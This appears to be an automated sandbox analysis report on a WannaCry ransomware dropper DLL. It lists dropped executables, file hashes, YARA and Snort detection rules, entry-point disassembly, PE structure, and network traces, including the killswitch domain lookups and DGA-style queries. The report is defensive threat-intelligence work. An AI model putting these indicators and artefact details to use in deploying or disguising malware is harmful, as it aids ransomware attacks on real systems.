                                                                                              SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                              Malicious:false
                                                                                              Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                              C:\Windows\mssecsvc.exe

                                                                                              Download File
                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                              Category:dropped
                                                                                              Size (bytes):3751936
                                                                                              Entropy (8bit):6.541160326671581
                                                                                              Encrypted:false
                                                                                              SSDEEP:49152:DnAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:jDqPoBhz1aRxcSUDk36SA
                                                                                              MD5:E1C47DA367CF7B7F607367F7DCA89CEE
                                                                                              SHA1:6442B3DC94C41845D87A71D8FE3DD4B00F044F9B
                                                                                              SHA-256:504B1A9119A713427FF2331419CE6F656CCD7AD6BA223E2F48A25A5EFB8AFCBB
                                                                                              SHA-512:A3D34B697B1A2206EB84F036F2468A727D116E15CB8BBC995E880863EEF565EA716BB5A91284C13061CED7A806329CAFE57EC0628D1891E20C33C0311290C57E
                                                                                              Malicious:true
                                                                                              Yara Hits:
                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                              • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                                                                                              Antivirus:
                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                              • Antivirus: ReversingLabs, Detection: 100%
                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L......0.....................08.......g...........@.......................... g......................................................1.. 6..........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.... 6...1.. 6.. ..............`...........................................................................................................................................................................................................................................................................................................................................................

                                                                                              C:\Windows\tasksche.exe

                                                                                              Download File
                                                                                              Process:C:\Windows\mssecsvc.exe
                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                              Category:dropped
                                                                                              Size (bytes):3514368
                                                                                              Entropy (8bit):6.5250408221172975
                                                                                              Encrypted:false
                                                                                              SSDEEP:49152:nQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAL:QqPoBhz1aRxcSUDk36SA8
                                                                                              MD5:3233ACED9279EF54267C479BBA665B90
                                                                                              SHA1:0B2CC142386641901511269503CDF6F641FAD305
                                                                                              SHA-256:F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
                                                                                              SHA-512:55F25C51FFB89D46F2A7D2ED9B67701E178BD68E74B71D757D5FA14BD9530A427104FC36116633033EAD762ECF7960AB96429F5B0A085A701001C6832BA4555E
                                                                                              Malicious:true
                                                                                              Yara Hits:
                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                                                                                              Antivirus:
                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                              • Antivirus: Metadefender, Detection: 85%, Browse
                                                                                              • Antivirus: ReversingLabs, Detection: 95%
                                                                                              Joe Sandbox View:
                                                                                              • Filename: HFKDS6VcNO.dll, Detection: malicious, Browse
                                                                                              • Filename: FjYNZSPNkt.dll, Detection: malicious, Browse
                                                                                              • Filename: kBBdc7Aoj4.dll, Detection: malicious, Browse
                                                                                              • Filename: tct5NKwZY8.dll, Detection: malicious, Browse
                                                                                              • Filename: 7KPQg3aXdC.dll, Detection: malicious, Browse
                                                                                              • Filename: ngFFOGiE7Y.dll, Detection: malicious, Browse
                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                              Static File Info

                                                                                              General

                                                                                              File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                              Entropy (8bit):5.053469287304729
                                                                                              TrID:
                                                                                              • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                                                                                              • Generic Win/DOS Executable (2004/3) 0.20%
                                                                                              • DOS Executable Generic (2002/1) 0.20%
                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                              File name:4GDffePnzH.dll
                                                                                              File size:5267459
                                                                                              MD5:f5b0de1029349739596a8a6e72cbf8af
                                                                                              SHA1:8cdb34745e276febb9fbad3c30df4e919aa4d052
                                                                                              SHA256:8167a2eb7ddb581480903b49be8644972c638a83d878df59a34bc0dff0338170
                                                                                              SHA512:e80a3fdf74249af98be3fb9af0221b4827212cc138cdf622e9631d7039f66b775d81fa4a6f4ab0f39420f1b2303e6dce79c712eebea59b671cad5ca6496f8f78
                                                                                              SSDEEP:49152:ynAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:eDqPoBhz1aRxcSUDk36SA
                                                                                              TLSH:5036F601D2E51AA0DAF25FF7267ADB10833A6E45895BA66E1221500F0C77F1CDDE6F2C
                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

                                                                                              File Icon

                                                                                              Icon Hash:74f0e4ecccdce0e4

                                                                                              Static PE Info

                                                                                              General

                                                                                              Entrypoint:0x100011e9
                                                                                              Entrypoint Section:.text
                                                                                              Digitally signed:false
                                                                                              Imagebase:0x10000000
                                                                                              Subsystem:windows gui
                                                                                              Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
                                                                                              DLL Characteristics:
                                                                                              Time Stamp:0x59145751 [Thu May 11 12:21:37 2017 UTC]
                                                                                              TLS Callbacks:
                                                                                              CLR (.Net) Version:
                                                                                              OS Version Major:4
                                                                                              OS Version Minor:0
                                                                                              File Version Major:4
                                                                                              File Version Minor:0
                                                                                              Subsystem Version Major:4
                                                                                              Subsystem Version Minor:0
                                                                                              Import Hash:2e5708ae5fed0403e8117c645fb23e5b

                                                                                              Entrypoint Preview

                                                                                              Instruction
                                                                                              push ebp
                                                                                              mov ebp, esp
                                                                                              push ebx
                                                                                              mov ebx, dword ptr [ebp+08h]
                                                                                              push esi
                                                                                              mov esi, dword ptr [ebp+0Ch]
                                                                                              push edi
                                                                                              mov edi, dword ptr [ebp+10h]
                                                                                              test esi, esi
                                                                                              jne 00007FF64097605Bh
                                                                                              cmp dword ptr [10003140h], 00000000h
                                                                                              jmp 00007FF640976078h
                                                                                              cmp esi, 01h
                                                                                              je 00007FF640976057h
                                                                                              cmp esi, 02h
                                                                                              jne 00007FF640976074h
                                                                                              mov eax, dword ptr [10003150h]
                                                                                              test eax, eax
                                                                                              je 00007FF64097605Bh
                                                                                              push edi
                                                                                              push esi
                                                                                              push ebx
                                                                                              call eax
                                                                                              test eax, eax
                                                                                              je 00007FF64097605Eh
                                                                                              push edi
                                                                                              push esi
                                                                                              push ebx
                                                                                              call 00007FF640975F6Ah
                                                                                              test eax, eax
                                                                                              jne 00007FF640976056h
                                                                                              xor eax, eax
                                                                                              jmp 00007FF6409760A0h
                                                                                              push edi
                                                                                              push esi
                                                                                              push ebx
                                                                                              call 00007FF640975E1Ch
                                                                                              cmp esi, 01h
                                                                                              mov dword ptr [ebp+0Ch], eax
                                                                                              jne 00007FF64097605Eh
                                                                                              test eax, eax
                                                                                              jne 00007FF640976089h
                                                                                              push edi
                                                                                              push eax
                                                                                              push ebx
                                                                                              call 00007FF640975F46h
                                                                                              test esi, esi
                                                                                              je 00007FF640976057h
                                                                                              cmp esi, 03h
                                                                                              jne 00007FF640976078h
                                                                                              push edi
                                                                                              push esi
                                                                                              push ebx
                                                                                              call 00007FF640975F35h
                                                                                              test eax, eax
                                                                                              jne 00007FF640976055h
                                                                                              and dword ptr [ebp+0Ch], eax
                                                                                              cmp dword ptr [ebp+0Ch], 00000000h
                                                                                              je 00007FF640976063h
                                                                                              mov eax, dword ptr [10003150h]
                                                                                              test eax, eax
                                                                                              je 00007FF64097605Ah
                                                                                              push edi
                                                                                              push esi
                                                                                              push ebx
                                                                                              call eax
                                                                                              mov dword ptr [ebp+0Ch], eax
                                                                                              mov eax, dword ptr [ebp+0Ch]
                                                                                              pop edi
                                                                                              pop esi
                                                                                              pop ebx
                                                                                              pop ebp
                                                                                              retn 000Ch
                                                                                              jmp dword ptr [10002028h]
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al
                                                                                              add byte ptr [eax], al

                                                                                              Rich Headers

                                                                                              Programming Language:
                                                                                              • [ C ] VS98 (6.0) build 8168
                                                                                              • [C++] VS98 (6.0) build 8168
                                                                                              • [RES] VS98 (6.0) cvtres build 1720
                                                                                              • [LNK] VS98 (6.0) imp/exp build 8168

                                                                                              Data Directories

                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x21900x48.rdata
                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x203c0x3c.rdata
                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x40000x500060.rsrc
                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x5050000x5c.reloc
                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x20000x3c.rdata
                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                              Sections

                                                                                              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                              .text0x10000x28c0x1000False0.13037109375data1.4429971244731552IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                              .rdata0x20000x1d80x1000False0.072509765625data0.7346018133622799IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                              .data0x30000x1540x1000False0.016845703125data0.085238686413312IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                              .rsrc0x40000x5000600x501000unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                              .reloc0x5050000x2ac0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                              Resources

                                                                                              NameRVASizeTypeLanguageCountry
                                                                                              W0x40600x500000dataEnglishUnited States

                                                                                              Imports

                                                                                              DLLImport
                                                                                              KERNEL32.dllCloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
                                                                                              MSVCRT.dllfree, _initterm, malloc, _adjust_fdiv, sprintf

                                                                                              Exports

                                                                                              NameOrdinalAddress
                                                                                              PlayGame10x10001114

                                                                                              Possible Origin

                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                              EnglishUnited States

                                                                                              Network Behavior

                                                                                              Snort IDS Alerts

                                                                                              TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                              8.8.8.8192.168.2.453539162811577 07/20/22-22:54:40.190457UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53539168.8.8.8192.168.2.4
                                                                                              192.168.2.48.8.8.860506532024291 07/20/22-22:52:14.267661UDP2024291ET TROJAN Possible WannaCry DNS Lookup 16050653192.168.2.48.8.8.8
                                                                                              104.17.244.81192.168.2.480497602031515 07/20/22-22:52:14.371010TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049760104.17.244.81192.168.2.4
                                                                                              35.205.61.67192.168.2.480498632037771 07/20/22-22:56:08.841413TCP2037771ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst804986335.205.61.67192.168.2.4
                                                                                              192.168.2.4104.17.244.8149859802024298 07/20/22-22:54:21.734006TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14985980192.168.2.4104.17.244.81
                                                                                              104.17.244.81192.168.2.480498592031515 07/20/22-22:54:21.772136TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049859104.17.244.81192.168.2.4
                                                                                              192.168.2.4104.17.244.8149760802024298 07/20/22-22:52:14.335957TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14976080192.168.2.4104.17.244.81
                                                                                              192.168.2.48.8.8.860418532024291 07/20/22-22:54:21.668441UDP2024291ET TROJAN Possible WannaCry DNS Lookup 16041853192.168.2.48.8.8.8

                                                                                              Network Port Distribution

                                                                                              TCP Packets

                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                              Jul 20, 2022 22:52:14.318656921 CEST4976080192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:52:14.335305929 CEST8049760104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:52:14.335424900 CEST4976080192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:52:14.335957050 CEST4976080192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:52:14.352463961 CEST8049760104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:52:14.371010065 CEST8049760104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:52:14.371088982 CEST8049760104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:52:14.371156931 CEST4976080192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:52:14.371192932 CEST4976080192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:52:14.373053074 CEST4976080192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:52:14.389606953 CEST8049760104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:54:21.706347942 CEST4985980192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:54:21.723097086 CEST8049859104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:54:21.723290920 CEST4985980192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:54:21.734005928 CEST4985980192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:54:21.751105070 CEST8049859104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:54:21.772135973 CEST8049859104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:54:21.772219896 CEST4985980192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:54:21.772613049 CEST4985980192.168.2.4104.17.244.81
                                                                                              Jul 20, 2022 22:54:21.789546013 CEST8049859104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:54:21.994046926 CEST8049859104.17.244.81192.168.2.4
                                                                                              Jul 20, 2022 22:54:21.994148970 CEST4985980192.168.2.4104.17.244.81

                                                                                              UDP Packets

                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                              Jul 20, 2022 22:52:14.267661095 CEST6050653192.168.2.48.8.8.8
                                                                                              Jul 20, 2022 22:52:14.287257910 CEST53605068.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:53:40.508493900 CEST53648258.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:21.668441057 CEST6041853192.168.2.48.8.8.8
                                                                                              Jul 20, 2022 22:54:21.688194990 CEST53604188.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.063491106 CEST53610688.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.096900940 CEST53587158.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.127334118 CEST53578168.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.159742117 CEST53517878.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.190457106 CEST53539168.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.225811958 CEST53607908.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.258080959 CEST53627088.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.292618990 CEST53609468.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.322551966 CEST53534838.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.365179062 CEST53617808.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.395994902 CEST53575678.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.433759928 CEST53506618.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.470072985 CEST53511108.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.507767916 CEST53551798.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.544434071 CEST53595108.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.584887981 CEST53493208.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.619729996 CEST53588638.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.650690079 CEST53652878.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.684954882 CEST53570208.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.716125011 CEST53551258.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.745421886 CEST53498708.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.776046991 CEST53534808.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.805237055 CEST53649458.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.853163958 CEST53579928.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.896445990 CEST53556648.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.936306000 CEST53554798.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:40.972363949 CEST53516798.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.008023024 CEST53501218.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.040328979 CEST53610308.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.308537006 CEST53624688.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.336762905 CEST53507378.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.380033970 CEST53539708.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.409827948 CEST53651688.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.449043989 CEST53618498.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.478492022 CEST53626438.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.512674093 CEST53618888.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.541846037 CEST53614998.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.576179981 CEST53633568.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.621886015 CEST53573768.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.657711029 CEST53634298.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.690987110 CEST53654898.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.720563889 CEST53512398.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.755774975 CEST53526568.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.801877022 CEST53611358.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.914846897 CEST53514178.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.944541931 CEST53570208.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:41.974445105 CEST53556598.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.007285118 CEST53495798.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.039998055 CEST53604458.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.082324028 CEST53548138.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.132795095 CEST53565208.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.167221069 CEST53602338.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.204638958 CEST53498908.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.247296095 CEST53578388.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.284647942 CEST53546618.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.323240042 CEST53626468.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.359338999 CEST53555698.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.389638901 CEST53611148.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.419955015 CEST53513988.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.456423044 CEST53619028.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.491046906 CEST53581658.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.538963079 CEST53542998.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.566880941 CEST53653598.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.602602005 CEST53637258.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.641297102 CEST53578648.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.686028004 CEST53550068.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.721410990 CEST53498398.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.754065037 CEST53515608.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.784663916 CEST53514788.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:42.826581001 CEST53580988.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.097991943 CEST53612698.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.129354954 CEST53650608.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.161786079 CEST53517288.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.192399025 CEST53507808.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.238863945 CEST53564168.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.276901007 CEST53575468.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.306519032 CEST53627648.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.349145889 CEST53510828.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.378171921 CEST53641358.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.488733053 CEST53512858.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.531205893 CEST53636488.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.567163944 CEST53514698.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.612627983 CEST53539198.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.643126011 CEST53638638.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.684333086 CEST53573168.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.733669043 CEST53629488.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.765686035 CEST53496438.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.793013096 CEST53622258.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.839689970 CEST53635558.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.872016907 CEST53518638.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.908171892 CEST53516728.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.949242115 CEST53497798.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:43.986525059 CEST53649258.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:44.025182962 CEST53573478.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:44.060282946 CEST53496568.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:44.096997023 CEST53627398.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:44.131166935 CEST53614578.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:44.242084026 CEST53598458.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:44.276153088 CEST53642368.8.8.8192.168.2.4
                                                                                              Jul 20, 2022 22:54:44.385664940 CEST53640448.8.8.8192.168.2.4

                                                                                              DNS Queries

                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                              Jul 20, 2022 22:52:14.267661095 CEST192.168.2.48.8.8.80xa8b4Standard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:21.668441057 CEST192.168.2.48.8.8.80xfab8Standard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)

                                                                                              DNS Answers

                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                              Jul 20, 2022 22:52:14.287257910 CEST8.8.8.8192.168.2.40xa8b4No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:52:14.287257910 CEST8.8.8.8192.168.2.40xa8b4No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:53:40.508493900 CEST8.8.8.8192.168.2.40x4ebName error (3)tuq.xitr.runonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:21.688194990 CEST8.8.8.8192.168.2.40xfab8No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:21.688194990 CEST8.8.8.8192.168.2.40xfab8No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.063491106 CEST8.8.8.8192.168.2.40x7d46Name error (3)kuyuii.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.096900940 CEST8.8.8.8192.168.2.40xf310Name error (3)glduft.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.127334118 CEST8.8.8.8192.168.2.40xadf3Name error (3)dmyskn.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.159742117 CEST8.8.8.8192.168.2.40x945cName error (3)uexelw.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.190457106 CEST8.8.8.8192.168.2.40x5a1bName error (3)eyidty.comnonenoneA (IP address)IN (0x0001)
                                                                                              Jul 20, 2022 22:54:40.225811958 CEST8.8.8.8192.168.2.40xcd11Name error (3)poxwrh.comnonenoneA (IP address)IN (0x0001)
